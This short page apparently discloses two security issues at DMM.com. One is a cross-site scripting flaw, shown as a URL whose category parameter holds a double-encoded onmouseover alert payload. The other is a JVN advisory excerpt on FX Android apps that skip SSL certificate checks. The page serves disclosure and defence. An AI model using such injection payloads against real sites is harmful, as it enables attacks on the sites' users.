dmm.com XSS vulnerability

Vulnerable URL: http://www.dmm.com/en/rental/-/ranking/=/t=week/categoryid=%2522%2520%256F%256E%256D%256F%2575%2573%2565%256F%2576%2565%2572%253D%2561%256C%2565%2572%2574%2528%2527%254F%2550%2545%254E%2542%2555%2547%2542%254F%2555%254E%2554%2559%2527%2529%2520%2572%2565%2573%2574%253D%2522%252F...

JVN#40898764: DMM.com Securities FX Apps for Android fail to verify SSL server certificates

Multiple Android Applications provided by DMM.com Securities Co.,Ltd. fail to verify SSL server certificates. Impact A man-in-the-middle attack may allow an attacker to eavesdrop on an encrypted communication. Solution Update the Application Update to the latest version according to the informati...